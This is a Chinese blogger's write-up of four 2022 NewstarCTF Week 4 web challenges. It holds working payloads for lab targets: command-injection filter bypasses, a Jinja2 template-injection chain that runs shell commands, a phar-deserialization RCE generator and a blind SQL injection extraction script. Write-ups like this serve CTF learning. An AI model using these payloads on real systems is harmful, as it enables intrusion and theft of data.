[Writeup]2022 NewstarCTF_Week4(Web部分)


一只网络安全菜鸟--(˙<>˙)/--
写博客主要是想记录一下自己的学习过程,过两年毕业了也能回头看看自己都学了些啥东西。
由于本人水平有限内容难免有错误、疏漏、逻辑不清、让人看不懂等各种问题,恳请大家批评指正
如果我写的东西能对你有一点点帮助,那真是再好不过了😀。

2023 Newstar CTF就要开始了,在buuctf上把去年的题做了一下,虽然是新生赛但仍有挺多我不知道的知识。。感觉web我才走完几千分之一的路程

So Baby RCE

进入环境:

<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
       echo "Don't Hack Me";
    }else{
        system($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

发现几乎能过滤的都过滤掉了,其实正则匹配cat啥的倒是很好绕过,直接c${Z}at照样可以执行cat,空格可以用${IFS}绕过。先ls看下当前目录下都有啥文件:
/?cmd=ls
image
当前目录没啥好东西,直接ls / 的话 / 这个还被过滤了。那就用cd ..命令一级一级往上找,分号被过滤了就用逻辑与&&连接。看下上一级目录都有啥:
/?cmd=cd${IFS}..%26%26ls
image
再往上找:
/?cmd=cd${IFS}..%26%26cd${IFS}..%26%26ls
image
还往上找;
/?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26ls
image
出现了ffffllllaaaaggggg,直接cat读它,不过注意cat 和fl都被正则匹配了,在中间加个${Z}就好,payload:

/?cmd=cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26c${Z}at${IFS}ffff${Z}llllaaaaggggg

image

BabySSTI_Two

This is Hint: Waf Has Been Updated, More Safe!
模板注入,更新了waf,进环境看看:
image
和第一题一样是jinja2,尝试一下发现带class+的都被过滤掉了。。不能用字符串合并的方法绕过,查了一下可以用字符串逆序的方法绕过,感谢这位师傅:
https://blog.csdn.net/mochu7777777/article/details/127259821?ops_request_misc=&request_id=&biz_id=102&utm_term=BabySSTI_Two&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-3-127259821.nonecase&spm=1018.2226.3001.4187

{{''['__ssalc__'[::-1]]}} //[::-1]这东西是python中的切片操作,意思是从头到尾,倒着读
image

看看效果:
image
看源码:
image
接下来就和one中一样了,找它的爹、找带os的类、执行函数:

{{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()[117]['__tini__'[::-1]]['__slabolg__'[::-1]]['nepop'[::-1]]('ls${IFS}-lha${IFS}/').read()}}

image
有个flag_in_h3r3_52daad,cat读一下:
payload:?name={{''['__ssalc__'[::-1]]['__sesab__'[::-1]][0]['__sessalcbus__'[::-1]]()[117]['__tini__'[::-1]]['__slabolg__'[::-1]]['nepop'[::-1]]('ca${Z}t${IFS}/fl${Z}ag_in_h3r3_52daad').read()}}
image

UnserializeThree

描述:PHP反序列化漏洞系列第三题。当文件上传遇到反序列化,擦出爱(RCE)的火花

image
看下源码:
image
有个class.php,估计和反序列化有关?看看:

 <?php
highlight_file(__FILE__);
class Evil{
    public $cmd;
    public function __destruct()//__destruct魔术方法,销毁时调用
    {
        if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){//正则匹配了><?php和换行符
            //Same point ,can you bypass me again?
            eval("#".$this->cmd);//命令执行,前面加了个#,之前绕这个可以通过换行符或?>闭合,但这次前面的正则匹配把这两扇门关上了,看了wp才知道还可以通过\r(回车符)。这东西可以把光标移到本行开头并把之前的内容覆盖
        }else{
            echo "No!";
        }
    }
}

file_exists($_GET['file']); //看wp之前还不知道这是干啥用的,看完才知道这东西是和phar伪协议配合的。

这题完全不知道怎么做,上传页面只能上传png/jpg这种图片。那两个文件上传不了,burppsuite抓包再改也没用。。估计不是以前做的那种简单的一句话木马,而且如果是单纯的文件上传漏洞,怎么反序列化?而且不知道#要怎么绕过(过滤了php?><啥的),然后竟然在eval类中竟然有个魔术方法?文件上传要怎么搞才能调用这个魔术方法?后面看了师傅们的wp,才知道这个要用到phar反序列化(第一次接触这个知识点).
参考了这几位师傅的文章,感谢:

https://blog.csdn.net/Little_jcak/article/details/127362879
https://blog.csdn.net/mochu7777777/article/details/127259821?spm=1001.2014.3001.5506
https://www.cnblogs.com/CoLo/p/16786627.html#:~:text=Phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20Phar%E4%B9%8B%E6%89%80%E4%BB%A5%E8%83%BD%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%EF%BC%8C%E6%98%AF%E5%9B%A0%E4%B8%BAPhar%E6%96%87%E4%BB%B6%E4%BC%9A%E4%BB%A5%E5%BA%8F%E5%88%97%E5%8C%96%E7%9A%84%E5%BD%A2%E5%BC%8F%E5%AD%98%E5%82%A8%E7%94%A8%E6%88%B7%E8%87%AA%E5%AE%9A%E4%B9%89%E7%9A%84%20meta-data%2CPHP%E4%BD%BF%E7%94%A8,phar_parse_metadata%20%E5%9C%A8%E8%A7%A3%E6%9E%90meta%E6%95%B0%E6%8D%AE%E6%97%B6%EF%BC%8C%E4%BC%9A%E8%B0%83%E7%94%A8%20php_var_unserialize%20%E8%BF%9B%E8%A1%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%93%8D%E4%BD%9C%E3%80%82

下面的内容参考了这位师傅的文章:
https://mochu.blog.csdn.net/article/details/106909777
phar是一种压缩打包文件的格式,会以序列化形式存储用户定义的meta-data。配合phar://就能一些函数等参数可控的情况下实现自动反序列化操作,于是攻击者就可以精心构造phar包在没有unserialize()的情况下实现自动反序列化。
用下师傅的代码生成一个phar文件:

Phar.php:
<?php 
class Evil{
    public $cmd = "\rsystem('ls');";
}
$phar = new Phar("txy.phar"); //后缀名必须为phar
$phar->startBuffering();//开始缓冲Phar写操作
$phar->setStub("__HALT_COMPILER(); ?>");//设置stub
$o=new Evil();
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("txy.txt","txy");//添加要压缩的文件及文件内容
$phar->stopBuffering();//停止缓冲,并将更改保存到磁盘
 ?>

网站首页访问Phar.php:
image
image
生成txy.phar文件,因为只允许上传图片所以把后缀改成png之类的再上传,对phar://协议来说,文件名不重要,只要内容格式是phar即可触发反序列化:
image
给file传参:
class.php/?file=phar://upload/bab9a8bb21bf306a6e970ee78d873e8f.png
结果:
image
可以看到命令被执行了,然后把ls改成cat /flag就可以(ls 和 ls / 结果一样):
/class.php/?file=phar://upload/958ba3701e3115324d4ae51e0eeed0e5.png
image
最后总结下这道题的思路(个人理解):文件上传+反序列化+RCE,先上传phar文件,这东西可以以序列化的格式存储用户定义的meta-data,然后利用可以使用伪协议(phar://)的函数之一file_exists去把刚刚序列化的内容给反序列化,__destruct方法会在销毁对象被调用,最终达到RCE目的。
说下对配置文件的设置:
image
注意要把这个readonly关掉,否则会出现下面这种情况:
image

又一个SQL

进环境:
image
源码里没啥东西,直接和前两个一样去找注入点:
image
GET传name仍是注入点,数字型注入而且他这个过滤挺有意思的:没过滤单独的and、or,但这俩东西和其它任何字符组合都会被过滤:
image
image
回显不会显示内容,只会显示留言是否存在。
想到之前做buuctf题写的一个盲注脚本:

import requests
import string
import time

strings = string.printable
flag = ''

for num in range(1,300):
    time.sleep(0.06)
    for i in strings:
        url='http://7d516fb5-1e5b-4962-9826-8a7665a48306.node4.buuoj.cn:81/comments.php'
        #payload='1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{0},1))={1})^1'.format(num,ord(i))    #爆数据库
        payload="1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{0},1))={1})^1".format(num,ord(i))    #爆表
        # wfy_admin,wfy_comments,wfy_information
        # payload="1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments')),{0},1))={1})^1".format(num,ord(i))    #爆列名
        # id,text,user,name,display
        #payload='1^(ascii(substr((select(group_concat(text))from(wfy_comments)),{0},1))={1})^1'.format(num,ord(i))
        #payload='1^(ascii(substr(reverse((select(group_concat(text))from(wfy_comments))),{0},1))={1})^1'.format(num,ord(i))                           #爆字段,reverse的原因是根据经验flag藏在最后
 #

        get_data={"name":payload}
        res = requests.get(url,params=get_data,timeout=5)
        time.sleep(0.04)
        if '好耶' in res.text:
            flag += i
            print(flag)
        else:
            continue
print(flag)

最后的结果:
image
直接把它复制粘贴过来了,根据题目改改就行(根据回显判断对错)。我感觉这个挺好理解的,不过因为不是二分法查找所以运行的非常慢,后面学些了其它师傅们用二分法的wp,感谢这位师傅:
https://blog.csdn.net/mochu7777777/article/details/127259821?spm=1001.2014.3001.5506

posted @   notbad3  阅读(561)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
点击右上角即可分享
微信分享提示